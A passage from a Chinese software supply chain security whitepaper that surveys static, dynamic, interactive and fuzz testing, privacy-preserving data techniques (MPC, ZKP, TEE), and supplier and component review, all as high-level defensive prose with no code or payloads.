(SAST) 软件供应链从软件生命周期角度可划分为开发、交付、使用三大环节,每个环节都可能 会引入供应链安全风险,上游环节的安全问题会传递到下游环节。开发环节作为软件供应链 的上游环节,从该环节入手,及早发现和修复安全问题非常必要。早在 2005 年,美国总统 信息技术咨询委员会关于信息安全的年度报告中就曾指出:美国重要部门使用的软件产品必 须加强安全检测,尤其是应该进行软件代码层面的安全检测。而在美国国土安全部(DHS) 和美国国家安全局(NSA)的共同资助下,MITRE 公司展开了对软件源代码缺陷的研究工作, 并建立了软件源代码缺陷分类库 CWE(Common Weakness Enumeration),以统一分类和 标识软件源代码缺陷。美国 CERT、SANS、OWASP 等第三方研究机构也在软件源代码安全 检测领域开展了许多工作,包括:CERT 发布了一系列安全编程(C/C++、Java 等)标准, SANS 和 OWASP 发布了严重代码缺陷 TOP25 和 TOP10,用于指导开发人员进行安全的编码, 尽量避免源代码中的安全缺陷。 静态安全分析正是这样一种针对开发过程中源代码进行安全检测的技术,内置多种缺陷 检测规则,将源代码转换为易于扫描的中间数据格式,使用缺陷检测技术对其进行分析,匹 配缺陷规则,从而发现源代码中存在的缺陷,并提供修复建议,帮助用户及早修复,从而降 低后期缺陷修补的成本,增强软件的安全性。静态安全分析原理如下图所示: 044 软件供应链安全关键技术 其中常见的静态漏洞分析技术有以下几种: (1)语法分析技术 语法分析指按具体编程语言的语法规则处理词法,分析程序产生的结果并生成语法分析 树的过程。这个过程可以判断程序在结构上是否与预先定义的 BNF 范式相一致,即程序中是 否存在语法错误。程序的 BNF 范式一般由上下文无关文法描述。支持语法分析的主要技术包 括算符优先分析法(自底向上)、递归下降分析法(自顶向下)和 LR 分析法(自左至右、 自底向上)等。语法分析是编译过程中的重要步骤,也是其他分析的基础。 (2)类型分析技术 类型分析主要指类型检查。类型检查的目的是分析程序中是否存在类型错误。类型错误 通常指违反类型约束的操作,如让两个字符串相乘、数组的越界访问等。类型检查通常是静 态进行的,但也可以动态进行。编译时进行的类型检查是静态检查。对于一种编程语言,如 果它的所有表达式的类型可以通过静态分析确定下来,进而消除类型错误,那么这个语言是 静态类型语言(也是强类型语言)。利用静态类型语言开发出的程序可以在运行程序之前消 除许多错误,因此程序质量的保障相对容易(但表达的灵活性相对弱)。 (3)控制流分析技术 控制流分析的输出是控制流图,通过控制流图可以得到关于程序结构的一些描述,包括 条件、循环等信息。控制流图是一个有向图,如下图所示,图中的每个节点对应一个基本块, 而边通常对应分支方向。 软件供应链安全技术白皮书 045 (4)数据流分析技术 数据流分析用于获取有关数据如何在程序的执行路径上流动的信息。在程序的控制流图 上,计算出每个节点前、后的数据流信息,通过数据流分析可以生成数据流图。 046 软件供应链安全关键技术 数据流分析代码示例图如上所示,如参数 w 是存在漏洞的数据,则数据流路径 BB0- >BB1->BB2->BB3->BB4->BB6 是不安全的。 数据流分析广泛应用于静态分析中,可对变量状态(如未使用变量、死代码等)进行分析。 同时,污染传播分析也是数据流分析技术的一种应用,在漏洞分析中,使用污点分析技术将 所感兴趣的数据(通常来自程序的外部输入)标记为污点数据,然后通过跟踪和污点数据相 关的信息的流向,可以知道它们是否会影响某些关键的程序操作,进而挖掘程序漏洞。 缺陷类别一般分为以下三种: (1)输入验证类 [26] 输入验证类缺陷指程序没有对输入数据进行有效验证所导致的缺陷。常见的输入验证类 缺陷包括 SQL 注入、XML 外部实体注入、命令注入、XSS(跨站脚本)等。 针对输入验证类缺陷,需要对输入进行验证,验证的内容包括数据是否包含超出预期的 字符、数据范围、数据长度、数据类型等,若包含危险字符,如<、>、"、'、%、(、)、&、+、 \、\'、\"、. 等,还需对危险字符进行转义。也可以通过验证行为净化所有不可信的输出,如 针对解释器的查询(SQL、XML 和 LDAP 查询)和操作系统命令,从而有效减少部分安全问题。 (2)资源管理类 资源管理类缺陷指因程序对内存、文件、流、密码等资源的管理或使用不当而导致的缺陷。 常见的资源管理类缺陷包括缓冲区上溢 / 下溢、资源未释放、内存泄漏、硬编码密码等。 对于此类缺陷,需要内存分配时,检查缓存大小,确保不会出现超出分配空间大小的危险。 在内存、文件、流等资源使用完毕后应正确释放资源。 (3)代码质量类 代码质量类缺陷指由于代码编写不当所导致的缺陷,低劣的代码质量会导致不可预测行 为的发生。常见的代码质量类缺陷包括整数问题、空指针解引用、初始化问题、不当的循环 终止等。 对于代码质量类缺陷,需要针对性地进行解决,如使用整数时,要避免操作结果超出整 数的取值范围;使用指针时,要判断其是否为空,养成良好的编程习惯。 [26] 奇安信代码安全实验室 软件供应链安全:源代码缺陷实例剖析 电子工业出版社 2021 年 8 月 软件供应链安全技术白皮书 047 静态安全分析技术不需要运行程序,能够覆盖 100% 的代码库,但检查结果可能存在漏 洞或误报的情况,一般需要不断地优化检测技术和检测规则,以降低误报和漏报。 4.2.3 动态应用安全测试 (DAST) 在实际攻击场景中,通常无法获得源代码,基于白盒的模式来分析软件中存在的漏洞。 黑客大多针对运行中的系统或业务进行黑盒扫描,寻找可能存在的薄弱点进行攻击。动 态应用安全测试(DAST)模拟黑客的攻击行为,通过一种由外向内的检测技术,对运行中的 系统和业务进行检测,发现可能存在的漏洞,便于及时修复。 4.2.3.1 系统漏洞扫描 对给定主机进行扫描,收集目标主机信息,如操作系统类型、主机名、开放的端口、端 口上的服务、运行的进程、路由表信息、开放的共享信息、MAC 地址等。然后对主机系统或 服务进行漏洞检测。 系统漏洞扫描流程可以概括为四大部分: 图 4.7 系统漏洞扫描工作流程 (1)主机发现 在进行系统漏洞扫描时,首先会探测目标系统是否存活⸺开机并正常联网。在默认配 置下,对没有正常存活的系统,会自动跳过对目标系统的扫描,转而启动对下一个目标的扫描。 主机存活性探测技术包括 ICMP PING、UDP PING 和 TCP PING 三种。 (2)端口发现 对已经存活的主机,还要探测主机上开启了什么端口。对于 1-1024 端口,可以知道占用 该端口的默认服务是什么。对于端口的探测,主要采用 TCP 连接的方式进行探测。包括:完 整的 TCP 连接、TCP 半连接(TCP SYN)。 048 软件供应链安全关键技术 (3)系统和服务识别 在进行操作系统版本识别时,会根据各个操作系统在 TCP/IP 协议栈实现上的不同特点, 采用黑盒测试方法,通过研究其对各种探测的响应形成识别指纹,进而识别目标主机运行的 操作系统。其使用的技术主要包括: 被动识别:通过抓包,对数据包的不同特征(TCP Window-size、IP TTL、IP TOS、DF 位等参数)进行分析,来识别操作系统。依赖于网络拓扑 主动识别:通过发特殊构造的包,分析目标主机的应答方式来识别操作系统。例如:如 果送了一个 FIN/PSH/URG 报到一个关闭的 TCP 端口。大多数操作系统会设置 ACK 为接收报 文的初始序列数,而 Windows 会设置 ACK 为接收报文的初始序列数加 1. 基于这一特点,在 发现操作系统反馈 ACK 为初始序列数加 1 时,可以识别目标操作系统为 Windows 操作系统。 对应用服务版本进行识别主要依靠应用系统反馈的系统 Banner 信息。 一般情况下,对于 1-1024 端口,都对应着默认的服务,如邮件服务器对应 25 端口, Web 服务器对应 80 端口,域名服务器对应 53 端口。但是不能保证所有的端口都对应着开发 默认的服务器。例如:对外网提供服务的服务器,需要远程管理,开放了 SSH 服务,但是为 了防止 SSH 服务直接暴露在外网,管理员 SSH 的连接端口挂在了 9821 上。按照正常来看, 这是个非标准服务端口。此时可以利用非标准服务识别技术对此端口提供的服务进行精确的 探测和识别。非标准服务识别技术对端口使用标准服务进行探测,根据服务端返回的信息, 匹配服务识别指纹库,判定端口对应的服务。 (4)漏洞检测 完成主机存活发现、端口发现、系统和服务识别后,会根据识别的系统与服务信息,对 目标系统进行口令猜测,口令猜测成功后将启动本地扫描,通过和漏洞库对比分析,发现目 标主机是否存在漏洞。或者通过远程扫描的方式,直接与目标系统或服务进行网络通讯,发 送特定的数据包,接收目标系统的反馈信息,根据反馈信息判断系统是否存在特定漏洞。系 统漏洞扫描因为本地扫描需要登录目标主机,应用技术难度较大,所以一般会采用远程扫描 的方式。远程扫描技术按照扫描探测原理不同,可以分为版本扫描、原理扫描、模糊扫描三类, 区别如下:版本扫描是远程漏洞扫描技术的一种,漏洞扫描系统通过 Banner 等信息识别系 统或服务的版本信息,和漏洞库信息对比分析,判断目标是否存在漏洞。版本判断扫描不会 对目标造成影响,安全性高。但是版本识别过程有可能误报,造成漏洞误报。目前大多数产 品的远程扫描采用此技术。 软件供应链安全技术白皮书 049 原理扫描是远程漏洞扫描技术的一种,漏洞扫描系统通过构造特殊包,发送到目标主机, 收集目标主机反馈的信息,判断系统是否安装特定的补丁程序,进而判断系统漏洞是否存在。 原理扫描误报率极低,但是开发扫描插件有难点,大多数产品没有能力采用此技术。 模糊扫描介于版本扫描和原理扫描之间,通过构造特殊包,识别目标主机的特征,分析 漏洞是否存在,准确性较高。但模糊扫描插件数量不多且存在误报与漏报的情况。目前仅有 少量产品有能力采用此技术。 4.2.3.2 Web 漏洞扫描 对运行中的 Web 程序进行漏洞扫描,从大的方面可以分为页面爬取、探测点发现和漏洞 检测三个阶段。第一个阶段由爬虫完成,后两个阶段依赖于第一个阶段的结果。页面爬取和 漏洞检测之间可以同时进行,也可以等爬虫将站点爬完之后,再统一交给漏洞检测引擎处理。 (1)页面爬取 页面爬取重点在于快而全地获取整个站点的站点树。这个过程分为两步,网络访问和链 接抽取。网络访问需要支持设置 cookie,自定义请求头,设置代理(http,https,sock4, sock5),支持各种认证方式(basic,ntml,digest),客户端证书等。拿到响应之后,需 要自动识别响应的编码方式,并将其转换为统一的 UTF-8 编码,供后续抽取链接等操作使用。 目前支持从 HTML,HTML 注释, Flash,WSDL 等静态内容中抽取链接之外,还用 webkit 实现了从 DOM 树,JS,Ajax 等重抽取静态和动态的链接。 除了使用前文提到的各种爬取设置和智能技术之外,还需要对站点做存活性判断、主动 识别页面类型(图片,外部链接,二进制文件,其它纯静态文件等)、尝试猜测一些无法从 其他页面解析出来的但可能存在的目录并做好标记。存活性判断主要是为了迅速给出站点是 否可达(可能跟用户的输入,配置的代理、认证信息,站点本身都有关系)的一个结论,避 免做一些无用功;页面类型主要为了帮助插件区分哪些页面可能存在漏洞需要被扫,哪些页 面可以直接跳过;根据一定的字典猜测可能存在的链接,一方面是为了尽可能多地发现页面, 另一方面是为了方便插件直接根据猜测的标记报告敏感文件的漏洞。 通过爬取的时候获取并标记尽可能多的信息,可以极大地减少逻辑冗余,提高扫描引擎 的性能。 (2)探测点发现 不同的插件有针对性地在请求中寻找不同的探测点,可能的探测点有 URL 路径,GET 方 050 软件供应链安全关键技术 法URL中的参数,POST方法请求体中的参数,请求头中的字段,cookie中的键值,响应体等等。 一般而言,插件会尝试对待扫描的 URL 进行解析,分解出各种可能存在漏洞的探测点,供后 续进行相关的漏洞检测。 (3)漏洞检测 每个具体的漏洞都有相应的一个插件来进行具体的检测。插件根据得到的探测点,有针 对性地构造特殊的网络请求,使用远程网站漏洞扫描检测技术进行漏洞检测,判断是否存在 相应的漏洞。除了使用到的漏洞检测技术之外,为了缓解网络访问带来的性能问题,在需要 发送多种探测请求的插件中,将网络请求并发而将网络响应的处理串行起来提高扫描速度; 为了避免在短时间内发送重复的网络请求(某些插件不需要重新构造请求体,使用的是和爬 虫一样的网络请求),使用了页面缓存技术,旨在降低网络访问对扫描速度的影响;引擎在 扫描的过程中,能够根据系统当时的负载,自动调节处理 URL 的并发进程数(不超过任务配 置的进程数的前提下),从而获得一个最佳的系统吞吐量。 对于漏洞检测,分为两大类的漏洞进行检测: 1. 针对 URL 的漏洞扫描: 例如 XSS:对将要扫描的 URL 进行拆分,然后针对每个参数进行检测,首先会在原有参 数值后面添加一个正常的字符串,从响应页面内容中查找输入的字符串是否存在,并且分析 上下文,根据分析的结果,再次重新输入特定的字符串,继续通过分析上下文,判断所输入 的特定的字符串是否能被执行,如果不行或者是输入的某些字符串被过滤,则会重新输入其 他的特定字符串进行验证。 2. 针对开源 CMS 的特定漏洞扫描 例如 Wordpress:在爬虫爬取的时候,会通过网站的一些特征进行识别,如果识别出当 前被扫描站点使用了 wordpress,则会调用 wordpress 相关的所有漏洞检测插件,通过这些 检测插件,发现存在于 wordpress 的特定漏洞。 DAST 技术不需要了解或查看软件的内部架构和源代码,可用于验证交付软件的质量,或 在运营阶段定期扫描,便于及时发现并修补漏洞。DAST 技术对发现安全问题很有帮助,但 也存在一些不足之处需要注意,一是 DAST 依靠安全专家来创建正确的测试程序,很难为每 个应用程序创建全面的测试。DAST 工具也可能会创建假阳性测试结果,将应用程序的有效 元素识别为威胁。二是 DAST 关注的是请求和响应,不能像 SAST 技术一样,准确识别出风 软件供应链安全技术白皮书 051 险代码位置。另外 DAST 通常检测速度较慢,需要几天或几周的时间才能完成测试,而且由 于它发生在 SDLC 的后期,发现的问题会给开发团队带来很多任务,增加了相应的成本。 4.2.4 交互式应用安全测试 (IAST) IAST 交互式应用安全测试技术是最近几年比较火热的应用安全测试新技术,被 Gartner 咨询公司列为网络安全领域的 Top 10 技术之一。IAST 工作在程序运行时,从应用内部持续 监控和收集应用程序运行时流量或代码,并传递给安全分析引擎,识别出代码执行中的漏洞 特征。针对收集到的数据流量和代码,可以分别执行类似 DAST 和 SAST 的检测,漏洞检出 率极高、误报率极低,同时可以定位到 API 接口和代码片段。 常用有效的 IAST 技术是通过插桩来实现的,通过在代码运行的中间件上插入探针,通过 探针来识别判断安全风险,直接从运行中的代码发现问题,以实现自动化识别和诊断在应用 和 API 中的软件漏洞。 因为部署在服务的中间件里面,IAST 探针可以从中获取很多的信息,从某种角度来说, 它可以说是 SAST 和 DAST 的结合体,包括但不限于代码、流量的分析,主要有以下几个方面: (1)代码 IAST 能访问所有和应用一起部署的源代码和二进制代码,代码探头对应用中每一行代码 做二进制的静态分析,包括库和框架; (2)HTTP 流量 [27] HTTP 流量采集,指采集应用程序测试过程中的 HTTP/HTTPS 请求流量,采集可以通过 代理层或者服务端 Agent。采集到的流量是测试人员提交的带有授权信息的有效数据,能够 最大程度避免传统扫描中因为测试目标权限问题、多步骤问题导致的扫描无效;同时,流量 采集可以省去爬虫功能,避免测试目标爬虫无法爬取到导致的扫描漏报问题; (3)库和框架 IAST 能看到部署的每一个库和框架,分析应用和 API 如何使用它们。不仅 IAST 能够根 据已知漏洞(CVE)来评估库,也能识别部分或整体隐藏在库里面的未知漏洞。重要的是, 因为 IAST 能精确知道库里面的哪一部分被应用真正调用,它能够过滤掉从未被调用的和库 相关的漏洞; [27] 软件供应链安全及防护工具研究 052 软件供应链安全关键技术 (4)应用程序状态 IAST 能够检查程序执行时的应用状态。例如,IAST 能看到调用安全方法时使用的参数来 发现弱点,如传递“DES”参数给加密密码构造函数; (5)数据流 从开始进入应用的时候开始,IAST 就追踪不信任的输入数据。这是识别最重要的漏洞种 类―注入类漏洞的关键。这个技术,有时称之为“污点追踪”,跟踪真实数据在应用中的流动, 非常精确; (6)控制流 IAST 了解应用的控制流,能够识别出应用行为中漏洞的特征。例如如果一个应用要求在 每个 web 服务中,采用 service()方法检查访问控制,这个特征将很容易被 IAST 发现; (7)后端连接 IAST能够检查围绕着后端连接的所有细节,如数据库、操作系统调用、目录、队列、套接字、 电子邮件和其他系统。IAST 使用这个信息识别出架构缺陷和安全缺陷; (8)配置 IAST 能访问应用、框架、应用服务器、和平台的配置,保证正确的安全配置。IAST 甚至 能查询应用组件的运行时配置,如 XML 解析器。注意某些平台,如 .NET,重度依赖配置来 实现安全; 基于 IAST 技术的特点,可以在以下场景使用: (1)开发测试阶段及早发现漏洞 基于交互式应用安全测试的特点,可以在软件开发测试过程中,使用该技术及时发现源 代码或 API 中存在的漏洞,在开发过程早期就进行修复,其检测速度、精确度、流程上都比 传统的静态安全分析技术和动态应用安全测试技术有优势。 (2)运营阶段持续检测和阻止漏洞利用 由于其持续检测的特性,可以识别出之前未发现的漏洞,如 0 Day 漏洞、新发布的漏洞等; 基于其在应用程序内部插桩的实现方式,当检测到威胁时,可以自定义应急响应策略,如终 止用户会话、关闭应用程序、警告安全人员等方式,来阻止攻击。 软件供应链安全技术白皮书 053 当前某些交互式应用安全测试产品还具有软件组成分析的能力。基于其在应用程序内部 插桩的实现方式,采集应用程序运行过程中动态加载的第三方组件及依赖,自动化构建软件 物料清单(SBOM),传递给组件漏洞分析引擎,检测依赖组件存在的安全风险,从而避免 供应链上游软件被不安全的底层依赖所污染。 4.2.5 模糊测试 (FUZZ) 对于软件产品而言,健壮性是一个很重要的指标。尤其是在一些关键基础设施领域, 如医疗保健、电力、通信、金融等,软件产品的故障可能导致灾难性的事件或大规模的数 据泄露,甚至造成人身伤害或环境的破坏。故障本身的不可预见性,也很可能导致一些故 障如系统信息被泄露,从而被攻击者进一步利用。模糊测试是一种评估软件健壮性和安全 性的强大技术,其核心原理是将非预期的数据输入目标系统,查看目标系统是否发生故障, 如崩溃、无限循环、资源泄漏或短缺、意外行为等,并提供故障原因及修复建议,以便用 户进行修复。 模糊测试一般包括测试用例生成、测试用例输入、测试结果验证三个阶段 [28]。 (1)测试用例生成 每一个非预期的数据都是一个测试用例,理论上非预期数据是无限的,测试用例生成的 目标是如何设计出最有可能在目标系统中触发故障的测试用例,从本质上讲,测试用例应该 接近目标的期望输入,测试用例的质量对模糊测试的有效性至关重要。常用的测试用例生成 技术包括随机生成和基于模板生成两种: ● 随机生成 最简单也是效率最低的生成技术。简单地使用随机数据作为测试用例。随机模糊测试通 常是无效的,因为测试用例与有效输入完全不同。目标系统检查并迅速拒绝测试用例。在大 多数情况下,测试用例无法渗透到目标代码中。 ● 基于模板生成 以有效数据作为模板,进行变异以创建测试用例。一般来说,模板测试用例比随机测试 用例更有效,因为它们大多是正确的。目标软件系统将处理测试用例,可以用来检验目标系 统处理非预期输入的能力。 [28] what is fuzz 054 软件供应链安全关键技术 (2)测试用例输入 根据目标系统或测试类型的不同,可以分为针对网络协议、文件、API、用户界面的模糊 测试等,不同的模糊测试类型,测试用例输入方式不同。如针对网络协议的,需要和网络服 务端或客户端建立端对端的连接,将测试用例传递给接收者;针对用户界面的,需要模拟鼠 标或键盘点击用户界面的操作等。大多数现代操作系统和编程环境都提供了一种编程方式来 传递输入,以便通过软件自动化地传递测试数据。 (3)测试结果验证 失败类型一般包括崩溃、无限循环、资源泄漏或短缺、意外行为几种,通常采用人工观 察或模糊测试工具自动判定两种方式。 模糊测试可用于在软件供应链的开发和交付阶段,检测未知的漏洞。在开发阶段,可以 对源代码进行模糊测试,在早期快速地定位和解决漏洞;在软件交付运行阶段,可用来验证 软件的健壮性和可靠性。 近年来,由于开源组件、软件代码恶意注入引起的供应链安全事件层出不穷,供应链安 全检测技术以软件开发生命周期为主线,致力于解决各阶段存在的安全问题。 4.3 软件供应链数据安全技术 Garnter 公司在 2021 年供应链安全风险报告 [29] 中提到,机密或敏感信息的泄露是导致软 件供应链风险的另外一个主要问题。黑客通过窃取源代码、构建日志、基础设施等中存在的 硬编码凭证,如 API 密钥、加密密钥、令牌、密码等,或者通过泄露的 SBOM(软件物料清单)、 源代码,寻找其中存在的漏洞,对目标系统发起攻击,极大增加了安全风险。因此,这些敏 感信息在应用和管理过程中进行数据安全保护,针对不同场景可采用安全多方计算(MPC) 和零知识证明(ZKP)和可信执行环境(TEE)等安全技术。 软件供应链全生命周期内离不开上下游企业的数据协作,如 SBOM(软件物料清单)的 生成及维护阶段需要软件开发企业提供数据支持(软件成分清单及源代码)、软件供应链安 全检测阶段需要第三方安全企业 / 组织提供最新的漏洞数据支持等。由于此类数据属于各上 下游企业核心资产,并事关最终用户软件安全,一旦泄露将极大增加最终用户遭受黑客攻击 的风险,具有一定的敏感性。因此,上下游企业之间很难直接对接这些敏感数据。此时,需 要相应的数据安全技术,以便管理和保障这些敏感数据的对接和使用。针对不同场景,可采 [29] How Software Engineering Leaders Can Mitigate Software Supply Chain Security Risks 软件供应链安全技术白皮书 055 用安全多方计算(MPC)、零知识证明(ZKP)或可信执行环境(TEE)等数据安全技术予 以解决。 (1) 安全多方计算 安全多方计算(Secure Multi-party Computation,MPC),是一种基于密码学技术实现 的无需可信第三方的分布式计算协议与机制。具体地说,即在一个分布式的环境中,各参与 方在互不信任的情况下通过密码学协议进行协同计算,输出计算结果,并保证任何一方均无 法得到除应得的计算结果之外的其他任何信息(包括输入和计算过程的状态等信息)。MPC 模型如图 5-1 所示,它解决了不信任环境下多个参与方联合计算一个函数的问题。 图 4.12 安全多方计算模型 实现多方安全计算协议主要有基于混淆电路(Garbled Circuit,GC)、秘密分享(Secret Sharing,SS)和同态加密(Homomorphic Encryption,HE)等密码学的实现方式。根据支 持的计算任务 MPC 可分为通用 MPC 和专用 MPC:前者理论上可支持任何计算任务,具有 完备性;而后者特定计算任务需设计特定的 MPC 协议,如安全比较协议支持参与方无法获 知对方准确输入情况最后得到比较结果,隐私求交协议(Private Set Intersection,PSI)支 持参与双方仅能获取双方数据集的交集信息,而其他信息无法获取,隐私信息检索协议(Private information retrieval,PIR)支持检索方匿名匹配获取被检索方相关信息,而被检索方无法得 知检索方的查找条件和返回结果等。在实际应用中,由于通用 MPC 协议实现计算复杂度高, 而专用 MPC 协议效率较快,因此通常采用专用 MPC 协议实现。 基于 MPC 的隐私保护特性,它可以应用于软件供应链漏洞信息查询场景中。在传统的漏 洞查询场景,查询方向漏洞管理方提交软件名称和版本号,漏洞管理方将其与漏洞库进行匹 配和关联,从而返回漏洞信息;在软件供应链场景中,客户(查询方)希望了解自身的软件 产品以及相关的开源组件、引用库等中是否包含漏洞信息,客户不希望向漏洞管理方暴露这 些敏感信息,即可以看成 SBOM 信息,但希望自身能获取该产品是否包含漏洞,以及包含哪 些漏洞等信息。基于 PIR 协议,在客户端可对软件名称进行加密,将此加密软件名称提交给 056 软件供应链安全关键技术 服务端,它将其先对漏洞库进行加密处理,然后进行匿名匹配与检索,另外通过安全比较协议, 类似的原理可对软件版本号进行漏洞库进行比较,最终实现软件供应链产品的漏洞查询以及 数据的隐私保护。 (2) 零知识证明 零知识证明 (Zero-Knowledge Proof, ZKP),也是一种基于密码学的安全技术,可应用 在身份认证、数据验证场景中。它指的是证明者(Prover, P)能够在不向验证者(Verifier, V)提供任何有效信息情形下,使得验证者相信他们拥有某一个信息 X,但在此过程中没有泄 露任何关于 X 的其他信息。实质上,ZKP 是一种涉及两方或多方的安全协议,即两方或多方 完成一项任务所需采取的一系列步骤。 根据零知识证明的定义,可归纳出 ZKP 有以下性质 [30]:(1) 正确性。P 无法欺骗 V。换言 之,若 P 不知道一个定理的证明方法,则 P 使 V 相信他会证明定理的概率很低。(2) 完备性。 V 无法欺骗 P。若 P 知道一个定理的证明方法,则 P 使 V 以绝对优势的概率相信他能证明。(3) 零知识性。V 无法获取其他任何额外的知识。 零知识证明可以在区块链与数字货币系统实现身份认证或交易验证过程中,确保交易双 方的身份匿名化和隐私保护。同理,结合 ZKP 技术,可确保 SBOM、漏洞数据等敏感信息在 使用过程的数据安全。例如,在软件供应链安全监管场景中,监管方希望查看安装的软件的 SBOM 数据是否包含通报修复的软件版本。那么,通过结合零知识证明技术,监管方既得到 正确的结果(是或者否),同时也完全保护了软件安装厂商的敏感信息。 (3) 可信执行环境 可信执行环境(Trusted Execution Environment,TEE)是基于硬件隔离机制构建的一个 安全隔离区域,可保证在安全区域内部加载的代码和数据在机密性和完整性方面得到保护。 它将系统的硬件和软件资源划分为两个执行环境,分别是可信执行环境和普通执行环境(Rich Execution Environment, REE),两者是安全隔离的,分别有独立的计算和存储空间。REE 环境的应用程序无法访问 TEE,即使在 TEE 内部,各个应用程序的运行也是相互独立的,不 能未经授权的情况下相互访问。当外部的应用程序想要访问 TEE 时,需要对该应用程序或用 户身份进行验证,只有通过验证的应用程序才能进入,从而为 TEE 内部运行的代码和数据提 供了机密性和完整性保护。 [30] 曹天杰,张永平,汪楚娇.安全协议:北京邮电大学出版社,2009 年 08 月 软件供应链安全技术白皮书 057 当前业界主流的 TEE 技术路线包括 Intel SGX、AMD SEV 和 ARM TrustZone,以及国产 芯片鲲鹏处理器。其中,Intel SGX 适用于 PC 机和服务器,它仅支持最大构造 128M 的安全 区域;而 AMD SEV 仅适用于服务器,但它可以覆盖整个虚拟机的内存,即安全区域足够大; ARM TrustZone 多用于适用于移动设备中。 与基于密码学的 MPC 和 ZKP 相比,TEE 的安全性来源于硬件隔离的安全能力,避免基 于密码算法及协议大量复杂计算和交互过程,从而避免了额外的计算开销和通信开销。因此, 在需要保护大量数据或性能要求高的计算场景中,可使用 TEE 技术进行安全防护。比如在软 件供应链的源代码和数据保护中,为了防止运行过程中被篡改和非法访问,可将源代码和数 据迁移至 TEE 中,实现安全等级高的数据安全防护。 5 软件供应链安全解决方案 软件供应链安全技术白皮书 059 5.1 供应链安全监督 在企业业务发展及能力生态的建设中,由于涉及到众多的供应链主体,为避免供应链 产品的恶意污染以及供应链攻击所带来的损失,开放可信技术供应商标准(Open Trusted Technology Provider ™ Standard ,O-TTPS)明确定义了 COTS 和 ICT 产品的完整性和全球 供应链安全性要求,缓解整个供应链产品生命周期的威胁,通过应用良好定义、可监控和有 效验证的供应链流程及最佳技术实践来管理其供应链。依照风险治理思路,在供应链安全治 理方面,需要做到如下四个方面: 1、外防输入,做好软件供应商及供应链产品的专项安全检查 严进宽用,按照当前引入时间为起始点,摒除带有漏洞的软件版本,严格控制外部引入 风险,认定后可认为引入的软件是安全的,可供内部使用,直至曝出漏洞,对软件进行标记 风险状态,进入下一个循环。 2、内控扩散,将安全管控融入软件 SBOM 管理 结合供应链管理建立灰白黑名单机制,防范带有漏洞的软件版本引入企业;针对曝出漏 洞但未完成治理的软件或系统进行标记,严格安全管控。 3、存量治理,结合企业软件 SBOM 理清依赖,有序治理 因存量系统较多,按照风险有限的原则,统筹考虑系统间的依赖关系,制定基础平台优 先治理、互联网应用重点治理等差异化的治理策略,分批次有序开展治理。 4、持续监测,建立风险预警机制,保障供应链安全可控。 漏洞会长期存在,需要持续监测,做好应急流程,有序治理软件供应链相关安全风险。 供应链风险贯穿了产品的整个生命周期,结合近年来所发生的供应链攻击和入侵事件, 我们需要从监管层面加强供应链产品安全认证管理,提供软件 SBOM 托管和可信认证服务, 企业也需要完善供应链资产管理和安全检查,可借助 SBOM 知识图谱理清企业供应链依赖关 系,从而在监测到预警时能够从容应对。 5.1.1 软件安全审查备案 现阶段在软件安全审查备案层面主要以合规检测为主,结合各领域各行业自身特色进行 针对性的安全检查,推出适合自身领域的行业规范以引导业内厂商安全意识,提升风险防护 能力。 060 软件供应链安全解决方案 对于软件供应链安全而言,审查备案的主要目的是通过对软件供应商等处在软件供应链 头部组织机构进行相关资质认定保证源头的合规,进而保证软件供应链下游使用方能够减少 安全检测压力,分散管控风险,软件供应链各个节点也可在安全审查备案信息的基础上灵活 制定自身安全防御策略。 5.1.1.1 供应商领域资质 供应商主要对自身研发、管理、安全保障等能力进行备案审查,向采购方证明自身基础 安全资质。采购方也可基于国家颁布现有规范标准对供应商进行基本资质提出要求,在双方 都重视安全资质的大风气下,行业安全意识与能力将会得到协同提升。 结合目前已经对供应商资质提出明确要求的政策文件,外加其他与企业安全能力挂钩的 国家认证评测体系,经过整理后生成如下列表: 企业资质: ● 系统等级保护评测⸺等级保护(1-5 级); ● 信息系统保障评测⸺备案证明 + 保评测证书等 ● 信息安全人员评测⸺CWASP CSSD/CSSP、CISSP、CISP 等评测标准; ● 工程服务能力评测⸺ISO/IEC 21827 SSE-CMM(1-5 级); ● 信息产品安全评测⸺ISO/ICE 15408(EAL1-7 级); ● 领域认证:行业协会专业认证,专业研究机构认证,国家级认证等; ● 所获荣誉:各级别具有广泛公信力的奖项,科研评比奖项,专业领域评比奖项。 ● 技术服务收入:利用企业的人力、物力和数据系统等为用户提供技术服务所获得的 收入。 ● 知识产权数量:在软件著作权、专利等知识产权方面的认证数量。 当前政策法规对供应商领域资质没有明确的硬性要求,但从上述列表不难发现其中涉 及到的资质内容是依托于国家现有的标准认证体系结合行业具备公信力的评测体系所产生 的交集。 验证供应商资质的目的是从早期合规层面对供应商进行能力甄别,软件供应链涉及到的 领域多样,技术标准复杂,行业发展迅速且发展日新月异,单纯的依靠国家层面的评测难以 软件供应链安全技术白皮书 061 适应快速变化的市场环境和技术发展速度。在当前技术条件与行业发展背景下,首先对对现 有行业专业标准加以强调,形成产业导向,在未来技术发展与典型安全事件发生后,对现有 安全体系进行升级,并针对性的设立对应的供应商资质认证,为未来的规范化打下基础。 5.1.1.2 组件情报 组件情报是软件的“成分表”,了解其具体成分能够充分分析其安全性并在漏洞产生时 做出针对性的应对。组件情报审查针对的是供应商所提供的软件产品进行审查并匹配安全情 报的过程。由于软件产品形态多样,可能会以组件、程序、代码集等多种形式存在,且其中 也会存在多种形态的引用与嵌套,复杂的内部结构给采购相关产品的用户所引入的安全风险 也不容小觑。 组件审查需要多角度立体化的评估制品可能产生的风险与保障措施,组建成分审查利用 专业代码审计工具对可能的潜在漏洞进行梳理,排除当前存在的安全风险,让用户知晓软件 成分,并可以向监管机构提供软件物料清单方便管理与审查。对已完成封装的软件可进行等 保 / 分保评测,满足国家法定安全标准即可,配合安全情报分析与保障内容对组件安全风险 做到初步管控。 组件审查的主要目的有两个:一、 将安全风险和监管要求向供应商进行传导;二、通过 在采购环节进行组件审查督促供应商做好安全管控并强化业务连续性。 供应商需要对自身产 品负责,从出场满足基本功能上升到组件清单的透明化。当前 APT 攻击越发成为供应链攻击 的主要形式,不存在绝对的安全,而组件审查与梳理的作用是让采购方知晓当前组件应用情 况,配合专业的组件审查工具了解软件产品中的弱点,并针对其可能发生的安全问题制定针 对性的防范策略。 组件审查完毕后结合生成组件清单配合安全情报库中的数据进行特征匹配,查看其版本 是否存在漏洞与风险,一旦发现确定下一步安全策略,要求供应商进行漏洞修补、推送软件 版本更新或其他形式的改进。 对组件保障运营团队也需要进行相对应的资质审查,保证团队的真实性、专业性与服务 的时效性。确定保障服务内容能够被落实,防止出现安全责任盲区。 